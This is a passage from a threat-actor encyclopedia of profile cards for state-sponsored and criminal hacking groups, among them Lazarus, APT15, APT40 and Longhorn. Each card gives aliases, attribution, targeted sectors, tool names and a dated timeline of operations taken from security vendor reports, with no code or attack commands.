and +sinkholing of their Command and Control (C2) infrastructure +Foudre incorporates new anti-takeover techniques in an attempt to +avoid their C2 domains being sinkholed as we did in 2016. + +Counter operation +Prince of Persia + Game Over (2016) + +Threat Group Cards: A Threat Actor Encyclopedia +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Iridium +Names +Iridium (Resecurity) +Country +Iran +Motivation +Information theft and espionage +Description +(Kaspersky) Iridium is an APT that uses proprietary techniques to bypass two-factor +authentication for critical applications, according to security firm Resecurity. +A researcher has attributed a recently publicized attack on Citrix + internal network to +the Iranian-linked group known as Iridium + and said that the data heist involved 6 +terabytes of sensitive data. +The culprit is an APT that uses proprietary techniques to bypass two-factor +authentication for critical applications and services for further unauthorized access +to virtual private networks and single sign-on systems, according to Resecurity. +[Iridium] has hit more than 200 government agencies, oil and gas companies and +technology companies, including Citrix Systems Inc., + they said. Threatpost has +reached out for further details as to how the firm is linking the APT to the attack and +will update this post accordingly. +Observed +Sectors: Government, Oil and gas and Technology. +Tools used +China Chopper, Ckife Webshells, LazyCat and reGeorge. +Operations +performed +Dec 2018 +Attacks on Australian government + +Dec 2018 +Breach of Citrix + +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Ke3chang, Vixen Panda, APT 15, GREF, Playful Dragon +Names +Ke3chang (FireEye) +Vixen Panda (CrowdStrike) +APT 15 (Mandiant) +GREF (SecureWorks) +Playful Dragon (FireEye) +Royal APT (NCC Group) +Country +China +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +Ke3chang is a threat group attributed to actors operating out of China. Ke3chang +has targeted several industries, including oil, government, military, and more. +Observed +Sectors: Aerospace, Airlines, Chemicals, Defense, Embassies, Energy, +Government, High-Tech, Industry, Manufacturing, Mining, Oil and gas and Utilities. +Countries: European Union, India and UK. +Tools used +Cobalt Strike, Metushy, Mimikatz, MirageFox, MS Exchange Tool, Royal DNS, +RoyalCli, spwebmember, Systeminfo, Tasklist, TidePool and Winnti. +Operations +performed +2010 +Operation +Ke3chang +As the crisis in Syria escalates, FireEye research-ers have discovered +a cyber espionage campaign, which we call +Ke3chang, + that falsely +advertises information updates about the ongoing crisis to +compromise MFA networks in Europe. We believe that the Ke3chang +attackers are operating out of China and have been active since at +least 2010. However, we believe specific Syria-themed attacks against +MFAs (codenamed by Ke3chang as +moviestar +) began only in August +2013. The timing of the attacks precedes a G20 meeting held in +Russia that focused on the crisis in Syria. + +May 2016 +Little has been published on the threat actors responsible for +Operation Ke3chang since the report was released more than two +years ago. However, Unit 42 has recently discovered the actors have +continued to evolve their custom malware arsenal. We +ve discovered +a new malware family we +ve named TidePool. It has strong behavioral +ties to Ke3chang and is being used in an ongoing attack campaign +against Indian embassy personnel worldwide. This targeting is also +consistent with previous attacker TTPs; Ke3chang historically targeted +the Ministry of Affairs, and also conducted several prior campaigns +against India. + +May 2017 +Attack on a company that provides a range of services to UK +Government +A number of sensitive documents were stolen by the attackers during +the incident and we believe APT15 was targeting information related +to UK government departments and military technology. +During our analysis of the compromise, we identified new backdoors +that now appear to be part of APT15 +s toolset. The backdoor BS2005 +Threat Group Cards: A Threat Actor Encyclopedia + which has traditionally been used by the group + now appears +alongside the additional backdoors RoyalCli and RoyalDNS. + +Jun 2018 +Operation +MirageFox +The malware involved in this recent campaign, MirageFox, looks to be +an upgraded version of a tool, a RAT believed to originate in 2012, +known as Mirage. + +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Kimsuky, Velvet Chollima +Names +Kimsuky (Kaspersky) +Velvet Chollima (CrowdStrike) +Country +North Korea +Motivation +Information theft and espionage +Description +(Kaspersky) For several months, we have been monitoring an ongoing cyberespionage campaign against South Korean think-tanks. There are multiple reasons +why this campaign is extraordinary in its execution and logistics. It all started one +day when we encountered a somewhat unsophisticated spy program that +communicated with its +master + via a public e-mail server. This approach is rather +inherent to many amateur virus-writers and these malware attacks are mostly +ignored. +Observed +Ministry of Unification, Sejong Institute and Korea Institute for Defense Analyses. +Countries: South Korea. +Tools used +Grease, KPortScan, MailPassView, Mechanical, Mimikatz, Network Password +Recovery, Procdump, PSExec, Remote Desktop PassView, SniffPass and +WebBrowserPassView. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Lazarus Group, Hidden Cobra, Labyrinth Chollima +Names +Lazarus Group (Kaspersky) +Labyrinth Chollima (CrowdStrike) +Group 77 (Talos) +Hastati Group (SecureWorks) +Whois Hacking Team (McAfee) +NewRomanic Cyber Army Team (McAfee) +Zinc (Microsoft) +Hidden Cobra (Trend Micro) +Nickel Academy (SecureWorks) +APT-C-26 (360) +Country +North Korea +Sponsor +State-sponsored, Bureau/Unit 211 +Motivation +Information theft, espionage, disruption, sabotage and financial gain +Description +(Malwarebytes) Lazarus Group is commonly believed to be run by the North Korean +government, motivated primarily by financial gain as a method of circumventing +long-standing sanctions against the regime. They first came to substantial media +notice in 2013 with a series of coordinated attacks against an assortment of South +Korean broadcasters and financial institutions using DarkSeoul, a wiper program +that overwrites sections of the victims + master boot record. +In November 2014, a large scale breach of Sony Pictures was attributed to +Lazarus. The attack was notable due to its substantial penetration across Sony +networks, the extensive amount of data exfiltrated and leaked, as well of use of a +wiper in a possible attempt to erase forensic evidence. Attribution on the attacks +was largely hazy, but the FBI released a statement tying the Sony breach to the +earlier DarkSeoul attack, and officially attributed both incidents to North Korea. +Fast forward to May 2017 with the widespread outbreak of WannaCry, a piece of +ransomware that used an SMB exploit as an attack vector. Attribution to North +Korea rested largely on code reuse between WannaCry and previous North Korean +attacks, but this was considered to be thin grounds given the common practice of +tool sharing between regional threat groups. Western intelligence agencies +released official statements to the public reaffirming the attribution, and on +September 6, 2018, the US Department of Justice charged a North Korean national +with involvement in both WannaCry and the Sony breach. +Observed +Sectors: Engineering, Financial, Government, Technology and BitCoin exchanges. +Countries: Australia, Bangladesh, Brazil, Canada, Chile, China, Ecuador, France, +Germany, Guatemala, Hong Kong, India, Israel, Japan, Mexico, Philippines, +Poland, South Korea, Taiwan, Thailand, UK, USA, Vietnam and worldwide +(WannaCry). +Tools used +AuditCred, AlphaNC, Alreay, AppleJeus, Appleworm, BADCALL, Bankshot, +BanSwift, Bitsran, Brambul, BravoNC, Castov, Contopee, DeltaNC, Destover, +Dozer, DoublePulsar, Duuzer, ELECTRICFISH, EternalBlue, FallChill RAT, +FASTCash, Fimlis, Gh0st RAT, HARDRAIN, Hawup, Hermes, HOPLIGHT, +HtDnDownLoader, Joanap, Jokra, KEYMARBLE, KillDisk, Koredos, Lazarus, +Manuscrypt, Mimikatz, Mydoom, Mytob, NukeSped, PhanDoor, PowerRatankba, +PowerSpritz, Proxysvc, RatabankaPOS, RawDisk, Rifdoor, Rising Sun, RomeoNC, +SHARPKNOT, SheepRAT, SierraNC, Tdrop, Tdrop2, Troy, TYPEFRAME, Volgmer, +WannaCry, WolfRAT and Yort. +Threat Group Cards: A Threat Actor Encyclopedia +Operations +performed +2007 +Operation +Flame +Target: South Korean government. +Method: Disruption and sabotage. +Jul 2009 +Operation +Troy +North Korean hackers are suspected of launching a cyber-attack on +some of the most important government offices in the US and South +Korea in recent days, including the White House, the Pentagon, the +New York Stock Exchange and the presidential Blue House in Seoul. +The attack took out some of South Korea +s most important websites, +including those of the Blue House, the defense ministry, the national +assembly, Shinhan bank, Korea Exchange bank and the top internet +portal Naver. +Target: Government, financial and media institutions in South Korea +and USA. +Method: DdoS attacks. + +Mar 2011 +Attack on South Korean banks and media +Recent Distributed Denial of Service (DdoS) attacks on a number +South Korean websites have been in news for the past week. The +threat responsible for carrying out these attacks is Trojan.Koredos. +Target: South Korean organizations. +Method: DdoS attacks and destruction of infected machines. + +Mar 2013 +Operation +Ten Days of Rain +DarkSeoul +Computer networks running three major South Korean banks and the +country +s two largest broadcasters were paralyzed Wednesday in +attacks that some experts suspected originated in North Korea, which +has consistently threatened to cripple its far richer neighbor. +The attacks, which left many South Koreans unable to withdraw +money from A.T.M. +s and news broadcasting crews staring at blank +computer screens, came as the North +s official Korean Central News +Agency quoted the country +s leader, Kim Jong-un, as threatening to +destroy government installations in the South, along with American +bases in the Pacific. +Target: Three broadcasting stations and a bank in South Korea. +Method: Infecting with viruses, stealing and wiping information. + +May 2013 +South Korean Financial Companies Targeted by Castov +In the past few months we have been actively monitoring an exploit +kit, called Gongda, which is mainly targeting South Korea. +Interestingly, we have come across a piece of malware, known as +Castov, being delivered by this exploit kit that targets specific South +Korean financial companies and their customers. The cybercriminals +in this case have done their research on the South Korean online +financial landscape. + +Jun 2013 +DarkSeoul Cyberattacks Against South Korea Continue on +Anniversary of Korean War +Threat Group Cards: A Threat Actor Encyclopedia +Yesterday, June 25, the Korean peninsula observed a series of +cyberattacks coinciding with the 63rd anniversary of the start of the +Korean War. While multiple attacks were conducted by multiple +perpetrators, one of the distributed denial-of-service (DdoS) attacks +observed yesterday against South Korean government websites can +be directly linked to the DarkSeoul gang and Trojan.Castov. + +Nov 2014 +Breach of Sony Pictures Entertainment +The attack on Sony Pictures became public knowledge on November +24, 2014, when Sony employees turned on their computers to be +greeted with the sight of a neon red skeleton and the words +Hacked +by GOP +, which stood for +Guardians of the Peace +. The message +also threatened to release data later that day if an unspecified +request was not met. Over the following weeks, huge swathes of +information stolen from Sony were released, including: personal +information about employees and their families; email +correspondence between employees at the company; information +about company salaries, unreleased Sony films, and other +information. +Target: Sony Pictures Entertainment (released the +Interview + movie, +ridiculing the North Korean leader). +Method: Infecting with malware, stealing and wiping data of the +company +s employees, correspondence, copies of unreleased films. + +Jun 2015 +Using the Palo Alto Networks AutoFocus threat intelligence platform, +we identified several samples of malicious code with behavior similar +to the aforementioned Operation Troy campaign dating back to June +2015, over two years after the original attacks in South Korea. +Session data revealed a live attack targeting the transportation and +logistics sector in Europe. + +Mar 2017 +The Blockbuster Sequel +This recently identified activity is targeting Korean speaking +individuals, while the threat actors behind the attack likely speak both +Korean and English. This blog will detail the recently discovered +samples, their functionality, and their ties to the threat group behind +Operation Blockbuster. + +May 2017 +WannaCry ransomware5. +Aug 2017 +The Blockbuster Saga Continues +Unit 42 researchers at Palo Alto Networks have discovered new +attack activity targeting individuals involved with United States +defense contractors. + +5 See ThaiCERT Whitepaper +WannaCry Ransomware +Threat Group Cards: A Threat Actor Encyclopedia +Late 2017 +Several financial sector and a casino breaches using KillDisk wiping +malware in Latin America and USA. + + +2017-2018 +Cryptocurrency attacks on South Korean exchanges. + + +Mar 2018 +APT attack on Turkish Financial Sector. +Target: Turkish Financial Sector. +Method: Spear-phishing with Bankshot implant. + +Apr 2018 +Operation +GhostSecret +Target: The impacted organizations are in industries such as +telecommunications, health, finance, critical infrastructure, and +entertainment. +Method: Spear-phishing with Destover-like implant. + +Aug 2018 +Operation +AppleJeus +Target: Cryptocurrency exchange. +Method: Fake installer and macOS malware. + +Oct 2018 +Operation +Sharpshooter +Target: 87 organizations in many different sectors (majority +Government and Defense) across the globe, predominantly in the +United States. +Method: Rising Sun implant to gather intelligence. + +Nov 2018 +More Attacks on Cryptocurrency Businesses +Target: Some of the documents (for instance one entitled +sample +document for business plan evaluation of venture company +) were +prepared in Korean, presumably to target South Korean businesses. +Another contains a business overview of what seems to be a +Chinese technology consulting group named LAFIZ ( +we couldn +confirm if it +s a legitimate business or another fake company made up +by Lazarus, + Kaspersky Lab researchers said). Yet another provided +information for coin listings with a translation in Korean, researchers +said. +Method: Documents containing weaponized macros, +carefully +prepared to attract the attention of cryptocurrency professionals. +utilizes PowerShell to control Windows systems and macOS malware +for Apple users. +Threat Group Cards: A Threat Actor Encyclopedia + +Counter +operations +Mar 2019 +The infamous Lazarus threat actor group has been found targeting +an Israeli defense company, according to new research outlined by a +cybersecurity firm ClearSky. The campaign is carried out with an +intention to steal military and commercial secrets. + +Apr 2019 +Hoplight + Malware Campaign +Known as +Hoplight, + the malware is a collection of nine files, though +most of those are designed to work as obfuscation layers to keep +admins and security software from spotting the attack. + +May 2019 +North Korean Tunneling Tool: ELECTRICFISH +This report provides analysis of one malicious 32-bit Windows +executable file. The malware implements a custom protocol that +allows traffic to be funneled between a source and a destination +Internet Protocol (IP) address. The malware continuously attempts to +reach out to the source and the designation system, which allows +either side to initiate a funneling session. The malware can be +configured with a proxy server/port and proxy username and +password. This feature allows connectivity to a system sitting inside +of a proxy server, which allows the actor to bypass the compromised +system +s required authentication to reach outside of the network. + +Operation +Blockbuster + (2016) + +Microsoft and Facebook disrupt ZINC malware attack to protect customers and +the internet from ongoing cyberthreats (2017) + +North Korean Regime-Backed Programmer Charged With Conspiracy to +Conduct Multiple Cyber Attacks and Intrusions (2018) + +Information + + + + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Subgroup: Andariel, Silent Chollima +Names +Andariel (FSI) +Silent Chollima (CrowdStrike) +Country +North Korea +Operations +performed +2014 +Operation +BLACKMINE +Target: South Korean organizations. +Method: Information theft and espionage. +2014 +Operation +GHOSTRAT +Target: Defense industry +Method: Information theft and espionage. +2014 +Operation +XEDA +Target: Foreign defense industries +Method: Information theft and espionage. +2015 +Operation +INITROY +/Phase 1 +Target: South Korean organizations. +Method: Information theft/early phase operation. +2015 +Operation +DESERTWOLF +/Phase 3 +Target: South Korean defense industry. +Method: Information theft and espionage. +2015 +Operation +BLACKSHEEP +/Phase 3. +Target: Defense industry +Method: Information theft and espionage +2016 +Operation +INITROY +/Phase 2 +Target: South Korean organizations. +Method: Information theft/early phase operation. +2016 +Operation +VANXATM +Target: ATM companies +Method: Financial theft/BPC +2017 +Operation +Mayday +Target: South Koran Financial Company. +Method: Information theft and espionage. +Threat Group Cards: A Threat Actor Encyclopedia +Subgroup: Bluenoroff, APT 38, Stardust Chollima +Names +Bluenoroff (Kaspersky) +Stardust Chollima (CrowdStrike) +APT 38 (Mandiant) +Country +North Korea +Description +(Kaspersky) The Lazarus Group, a nation-state level of attacker tied to the 2014 +attacks on Sony Pictures Entertainment, has splintered off a portion of its operation +to concentrate on stealing money to fund itself. +The group, widely believed to be North Korean, has been linked to a February 2016 +attack against the Bangladesh Central bank that resulted in more than $850 million +in fraudulent SWIFT network transactions, $80 million of which still has not been +recovered. +Operations +performed +Oct 2015 +Duuzer backdoor Trojan targets South Korea to take over computers +Symantec has found that South Korea is being impacted by an active +back door Trojan, detected as Backdoor.Duuzer. While the malware +attack has not been exclusively targeting the region, it has been +focusing on the South Korean manufacturing industry. Duuzer is a +well-designed threat that gives attackers remote access to the +compromised computer, downloads additional files, and steals data. +s clearly the work of skilled attackers looking to obtain valuable +information. + +2015 +SWIFT Attack on a bank in the Philippines + +Dec 2015 +Attempted Vietnamese TPBank SWIFT Attack + +May 2016 +SWIFT Attack on Banco del Austro in Ecuador + +2016-2018 +Operation +FASTCash +On October 2, 2018, an alert was issued by US-CERT, the +Department of Homeland Security, the Department of the Treasury, +and the FBI. According to this new alert, Hidden Cobra (the U.S. +government +s code name for Lazarus) has been conducting +FASTCash + attacks, stealing money from Automated Teller +Machines (ATMs) from banks in Asia and Africa since at least 2016. + +Feb 2016 +Bangladeshi Bank Attack + +Oct 2016 +Mexican and Polish Financial Attack +Organizations in 31 countries have been targeted in a new wave of +attacks which has been underway since at least October 2016. The +attackers used compromised websites or +watering holes + to infect +Threat Group Cards: A Threat Actor Encyclopedia +pre-selected targets with previously unknown malware. There has +been no evidence found yet that funds have been stolen from any +infected banks. + +Oct 2017 +SWIFT Attack on Far Eastern International Bank (FEIB) in Taiwan + +Jan 2018 +Attempted heist at Bancomext in Mexico + +May 2018 +SWIFT attack on Banco de Chile in Chile + +Aug 2018 +SWIFT attack on Cosmos Bank in India + +Dec 2018 +ATM breach of Redbanc in Chile + +Threat Group Cards: A Threat Actor Encyclopedia +Lead +Names +Lead (Microsoft) +Country +China +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(Microsoft) In the past few years, Lead +s victims have included: +Multinational, multi-industry companies involved in the manufacture of +textiles, chemicals, and electronics +Pharmaceutical companies +A company in the chemical industry +University faculty specializing in aeronautical engineering and research +A company involved in the design and manufacture of motor vehicles +A cybersecurity company focusing on protecting industrial control systems +During these intrusions, Lead +s objective was to steal sensitive data, including +research materials, process documents, and project plans. Lead also steals +code-signing certificates to sign its malware in subsequent attacks. +In most cases, Lead +s attacks do not feature any advanced exploit techniques. +The group also does not make special effort to cultivate victims prior to an attack. +Instead, the group often simply emails a Winnti installer to potential victims, +relying on basic social engineering tactics to convince recipients to run the +attached malware. In some other cases, Lead gains access to a target by bruteforcing remote access login credentials, performing SQL injection, or exploiting +unpatched web servers, and then they copy the Winnti installer directly to +compromised machines. +Observed +Sectors: Online videogame companies, Pharmaceutical, Technology and +Telecommunications. +Countries: Japan and USA. +Tool used +Cobalt Strike and Winnti. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Leafminer, Raspite +Names +Leafminer (Symantec) +Raspite (Dragos) +Country +Iran +Motivation +Information theft and espionage +Description +(Symantec) Symantec has uncovered the operations of a threat actor named +Leafminer that is targeting a broad list of government organizations and business +verticals in various regions in the Middle East since at least early 2017. The group +tends to adapt publicly available techniques and tools for their attacks and +experiments with published proof-of-concept exploits. Leafminer attempts to +infiltrate target networks through various means of intrusion: watering hole +websites, vulnerability scans of network services on the internet, and bruteforce/dictionary login attempts. The actor +s post-compromise toolkit suggests that +the group is looking for email data, files, and database servers on compromised +target systems. +(Dragos) Analysis of Raspite tactics, techniques, and procedures (TTPs) indicate +the group has been active in some form since early- to mid-2017. Raspite targeting +includes entities in the US, Middle East, Europe, and East Asia. Operations against +electric utility organizations appear limited to the US at this time. +Raspite leverages strategic website compromise to gain initial access to target +networks. Raspite uses the same methodology as Berserk Bear, Dragonfly 2.0 and +Allanite in embedding a link to a resource to prompt an SMB connection, from +which it harvests Windows credentials. The group then deploys install scripts for a +malicious service to beacon back to Raspite -controlled infrastructure, allowing the +adversary to remotely access the victim machine. +Observed +Sectors: Energy, Financial, Government and Transportation. +Countries: Europe, East Asia, Israel, Kuwait, Lebanon and USA. +Tools used +Imecab, LaZagne, PhpSpy and Mimikatz. +Information + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Leviathan, APT 40, TEMP.Periscope +Names +Leviathan (CrowdStrike) +APT 40 (Mandiant) +TEMP.Periscope (FireEye) +TEMP.Jumper (FireEye) +Bronze Mohawk (SecureWorks) +Mudcarp (iDefense) +Country +China +Motivation +Information theft and espionage +Description +(FireEye) FireEye is highlighting a cyber espionage operation targeting crucial +technologies and traditional intelligence targets from a China-nexus state +sponsored actor we call APT40. The actor has conducted operations since at least +2013 in support of China +s naval modernization effort. The group has specifically +targeted engineering, transportation, and the defense industry, especially where +these sectors overlap with maritime technologies. More recently, we have also +observed specific targeting of countries strategically important to the Belt and Road +Initiative including Cambodia, Belgium, Germany, Hong Kong, Philippines, +Malaysia, Norway, Saudi Arabia, Switzerland, the United States, and the United +Kingdom. This China-nexus cyber espionage group was previously reported as +TEMP.Periscope and TEMP.Jumper. +Observed +Sectors: Maritime-related targets across multiple verticals, including Defense, +Engineering, Government, Manufacturing, Research Shipping and Transportation. +Countries: Belgium, Cambodia, Germany, Hong Kong, Malaysia, Norway +Philippines, Saudi Arabia, Switzerland, USA and UK, and Asia Pacific Economic +Cooperation (APEC). +Tools used +AIRBREAK, BADFLICK, Beacon, BITSAdmin, BLACKCOFFEE, China Chopper, +Cobalt Strike, Derusbi, Gh0st RAT, GRILLMARK, HOMEFRY, LUNCHMONEY, +MURKYTOP, NanHaiShu, Orz, PHOTO, PlugX, scanbox, SeDLL, Windows +Credential Editor and ZXShell. +Operations +performed +2014 +Spear-phishing maritime and defense targets +Proofpoint researchers are tracking an espionage actor targeting +organizations and high-value targets in defense and government. +Active since at least 2014, this actor has long-standing interest in +maritime industries, naval defense contractors, and associated +research institutions in the United States and Western Europe. + +May 2017 +Targeting UK-Based Engineering Company Using Russian APT +Techniques +Employees of a U.K.-based engineering company were among the +targeted victims of a spear-phishing campaign in early July 2018. The +campaign also targeted an email address possibly belonging to a +freelance journalist based in Cambodia who covers Cambodian +politics, human rights, and Chinese development. We believe both +attacks used the same infrastructure as a reported campaign by +Chinese threat actor TEMP.Periscope (also known as Leviathan), +which targeted Cambodian entities in the run-up to their July 2018 +elections. Crucially, TEMP.Periscope +s interest in the U.K. engineering +company they targeted dates back to attempted intrusions in May +2017. +Threat Group Cards: A Threat Actor Encyclopedia + +2017 +The current campaign is a sharp escalation of detected activity since +summer 2017. Like multiple other Chinese cyber espionage actors, +TEMP.Periscope has recently re-emerged and has been observed +conducting operations with a revised toolkit. Known targets of this +group have been involved in the maritime industry, as well as +engineering-focused entities, and include research institutes, +academic organizations, and private firms in the United States. + +Jul 2018 +Targeting Cambodia Ahead of July 2018 Elections +FireEye has examined a range of TEMP.Periscope activity revealing +extensive interest in Cambodia +s politics, with active compromises of +multiple Cambodian entities related to the country +s electoral system. +This includes compromises of Cambodian government entities +charged with overseeing the elections, as well as the targeting of +opposition figures. This campaign occurs in the run up to the country +July 29, 2018, general elections. + +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Longhorn, The Lamberts +Names +Longhorn (Symantec) +The Lamberts (Kaspersky) +Country +Sponsor +State-sponsored, CIA +Motivation +Information theft and espionage +Description +Some operations and tooling used by this group were exposed in the [Vault 7/8] +leaks on WikiLeaks in 2017. +(Symantec) Longhorn has been active since at least 2011. It has used a range of +back door Trojans in addition to zero-day vulnerabilities to compromise its targets. +Longhorn has infiltrated governments and internationally operating organizations, in +addition to targets in the financial, telecoms, energy, aerospace, information +technology, education, and natural resources sectors. All of the organizations +targeted would be of interest to a nation-state attacker. +Longhorn has infected 40 targets in at least 16 countries across the Middle East, +Europe, Asia, and Africa. On one occasion a computer in the United States was +compromised but, following infection, an uninstaller was launched within hours, +which may indicate this victim was infected unintentionally. +Longhorn +s malware appears to be specifically built for espionage-type operations, +with detailed system fingerprinting, discovery, and exfiltration capabilities. The +malware uses a high degree of operational security, communicating externally at +only select times, with upload limits on exfiltrated data, and randomization of +communication intervals +all attempts to stay under the radar during intrusions. +For C&C servers, Longhorn typically configures a specific domain and IP address +combination per target. The domains appear to be registered by the attackers; +however they use privacy services to hide their real identity. The IP addresses are +typically owned by legitimate companies offering virtual private server (VPS) or +webhosting services. The malware communicates with C&C servers over HTTPS +using a custom underlying cryptographic protocol to protect communications from +identification. +Observed +Sectors: Aerospace, Education, Energy, Financial, Government, IT and +Telecommunications. +Countries: 16 countries in the Middle East, Europe, Asia and Africa. +Tools used +Black Lambert, Blue Lambert, Corentry, Gray Lambert, Green Lambert, Green OS +X Lambert, LH1, LH2, Pink Lambert, Plexor and White Lambert. +Information + + +Threat Group Cards: A Threat Actor Encyclopedia +Lotus Blossom, Spring Dragon +Names +Lotus Blossom (Palo Alto) +Spring Dragon (Kaspersky) +Dragonfish (iDefense) +Country +China +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(Kaspersky) Spring Dragon is a long running APT actor that operates on a massive +scale. The group has been running campaigns, mostly in countries and territories +around the South China Sea, since as early as 2012. The main targets of Spring +Dragon attacks are high profile governmental organizations and political parties, +education institutions such as universities, as well as companies from the +telecommunications sector. +Spring Dragon is known for spear phishing and watering hole techniques and some +of its tools have previously been analyzed and reported on by security researchers, +including Kaspersky Lab. +Observed +Sectors: Defense, Education, Government and Telecommunications. +Countries: Brunei, Cambodia, Hong Kong, Indonesia, Japan, Laos, Malaysia, +Myanmar, Philippines, Singapore, Taiwan, Thailand and Vietnam. +Tools used +Elise and Emissary. +Operations +performed +Jun 2015 +Operation +Lotus Blossom +Today Unit 42 published new research identifying a persistent cyber +espionage campaign targeting government and military organizations +in Southeast Asia. The adversary group responsible for the campaign, +which we named +Lotus Blossom, + is well organized and likely statesponsored, with support from a country that has interests in Southeast +Asia. The campaign has been in operation for some time; we have +identified over 50 different attacks taking place over the past three +years. + +Nov 2015 +Attack on French Diplomat +We observed a targeted attack in November directed at an individual +working for the French Ministry of Foreign Affairs. The attack involved +a spear-phishing email sent to a single French diplomat based in +Taipei, Taiwan and contained an invitation to a Science and +Technology support group event. + +2017 +In the beginning of 2017, Kaspersky Lab became aware of new +activities by an APT actor we have been tracking for several years +called Spring Dragon (also known as LotusBlossom). +Information about the new attacks arrived from a research partner in +Taiwan and we decided to review the actor +s tools, techniques and +activities. +Using Kaspersky Lab telemetry data we detected the malware in +attacks against some high-profile organizations around the South +China Sea. +Threat Group Cards: A Threat Actor Encyclopedia + +Jan 2018 +MITRE ATT&CK +Attacks on Association of South East Asian Nations (ASEAN) +countries +During the last weeks of January (2018), nation state actors from +Lotus Blossom conducted a targeted malware spam campaign against +the Association of South East Asian Nations (ASEAN) countries. + + + +Threat Group Cards: A Threat Actor Encyclopedia +Lucky Cat +Names +Lucky Cat (Symantec) +Country +China +Motivation +Information theft and espionage +Description +(Symantec) A series of attacks, targeting both Indian military research and south +Asian shipping organizations, demonstrate the minimum level of effort required to +successfully compromise a target and steal sensitive information. The attackers use +very simple malware, which required little development time or skills, in conjunction +with freely available Web hosting, to implement a highly effective attack. It is a case +of the attackers obtaining a maximum return on their investment. The attack shows +how an intelligent attacker does not need to be particularly technically skilled in +order to steal the information they are after. The attack begins, as is often the case, +with an email sent to the victim. A malicious document is attached to the email, +which, when loaded, activates the malware. The attackers use tailored emails to +encourage the victim to open the email. For example, one email sent to an +academic claimed to be a call for papers for a conference (CFP). +The vast majority of the victims were based in India, with some in Malaysia. The +victim industry was mostly military research and also shipping based in the Arabian +and South China seas. In some instances the attackers appeared to have a clear +goal, whereby specific files were retrieved from certain compromised computers. In +other cases, the attackers used more of a +shotgun + like approach, copying every +file from a computer. Military technologies were obviously the focus of one +particular attack with what appeared to be source code stolen. 45 different attacker +IP addresses were observed. Out of those, 43 were within the same IP address +range based in Sichuan province, China. The remaining two were based in South +Korea. The pattern of attacker connections implies that the IP addresses are being +used as a VPN, probably in an attempt to render the attackers anonymous. +The attacks have been active from at least April 2011 up to February 2012. The +attackers are intelligent and focused, employing the minimum amount of work +necessary for the maximum gain. They do not use zero day exploits or complicated +threats, instead they rely on effective social engineering and lax security measures +on the part of the victims. +Observed +Sectors: Aerospace, Defense, Engineering, Shipping and Tibetan activists. +Countries: India, Japan, Malaysia and Tibet. +Tools used +Sojax and Wimmie. +Information + + +Threat Group Cards: A Threat Actor Encyclopedia +Lurk +Names +Lurk (Kaspersky) +Country +Russia +Motivation +Financial gain +Description +(Kaspersky) When we first encountered Lurk, in 2011, it was a nameless Trojan. It +all started when we became aware of a number of incidents at several Russian +banks that had resulted in the theft of large sums of money from customers. To +steal the money, the unknown criminals used a hidden malicious program that was +able to interact automatically with the financial institution +s remote banking service +(RBS) software; replacing bank details in payment orders generated by an +accountant at the attacked organization, or even generating such orders by itself. +In 2016, it is hard to imagine banking software that does not demand some form of +additional authentication, but things were different back in 2011. In most cases, the +attackers only had to infect the computer on which the RBS software was installed +in order to start stealing the cash. Russia +s banking system, like those of many +other countries, was unprepared for such attacks, and cybercriminals were quick to +exploit the security gap. +So we decided to take a closer look at the malware. The first attempts to +understand how the program worked gave our analysts nothing. Regardless of +whether it was launched on a virtual or a real machine, it behaved in the same way: +it didn +t do anything. This is how the program, and later the group behind it, got its +name. To +lurk + means to hide, generally with the intention of ambush. +We were soon able to help investigate another incident involving Lurk. This time we +got a chance to explore the image of the attacked computer. There, in addition to +the familiar malicious program, we found a .dll file with which the main executable +file could interact. This was our first piece of evidence that Lurk had a modular +structure. +Later discoveries suggest that, in 2011, Lurk was still at an early stage of +development. It was formed of just two components, a number that would grow +considerably over the coming years. +Observed +Sectors: Financial and Media. +Countries: Russia. +Tools used +Lurk. +Counter +operations +Information + +Russia arrests 50, shuts down 5-year, $25m cyber bank robbery (2016) + +Threat Group Cards: A Threat Actor Encyclopedia +Mabna Institutem, Silent Librarian +Names +Mabna Institute (real name) +Silent Librarian (SecureWorks) +Country +Iran +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +According to the Treasury Department, since 2013, the Mabna Institute hit 144 US +universities and 176 universities in 21 foreign countries. +Geoffrey Berman, US Attorney for the Southern District of New York revealed that +the spear phishing campaign targeted more than 100,000 university professors +worldwide and about 8,000 accounts were compromised. +The Iranian hackers exfiltrated 31 terabytes, roughly 15 billion pages of academic +projects were stolen. +The hackers also targeted the US Department of Labor, the US Federal Energy +Regulatory Commission, and many private and non-governmental organizations. +The sanctions also hit the Mabna Institute, an Iran-based company that had a +critical role in coordinating the attacks on behalf of Iran +s Revolutionary Guards. +Observed +Sectors: Universities. +Countries: Australia, Canada, China, Israel, Japan, Switzerland, Turkey, UK and +USA. +Tools used +Operations +performed +Aug 2018 +Counter +operations +Operation +Cobalt Dickens +Despite indictments in March 2018, the Iranian threat group is likely +responsible for a large-scale campaign that targeted university +credentials using the same spoofing tactics as previous attacks. +In August 2018, members of university communities worldwide may +have been providing access to more than just homework assignments. +Secureworks Counter Threat Unit (CTU) researchers discovered a +URL spoofing a login page for a university. Further research into the +IP address hosting the spoofed page revealed a broader campaign to +steal credentials. Sixteen domains contained over 300 spoofed +websites and login pages for 76 universities located in 14 countries, +including Australia, Canada, China, Israel, Japan, Switzerland, +Turkey, the United Kingdom, and the United States. + +Nine Iranians Charged With Conducting Massive Cyber Theft Campaign on +Behalf of the Islamic Revolutionary Guard Corps (2018) + +Threat Group Cards: A Threat Actor Encyclopedia +Madi +Names +Madi (Kaspersky) +Mahdi (Kaspersky) +Country +Iran +Motivation +Information theft and espionage +Description +(Kaspersky) Kaspersky Lab and Seculert worked together to sinkhole the Madi +Command & Control (C&C) servers to monitor the campaign. Kaspersky Lab and +Seculert identified more than 800 victims located in Iran, Israel and select countries +across the globe connecting to the C&Cs over the past eight months. Statistics +from the sinkhole revealed that the victims were primarily business people working +on Iranian and 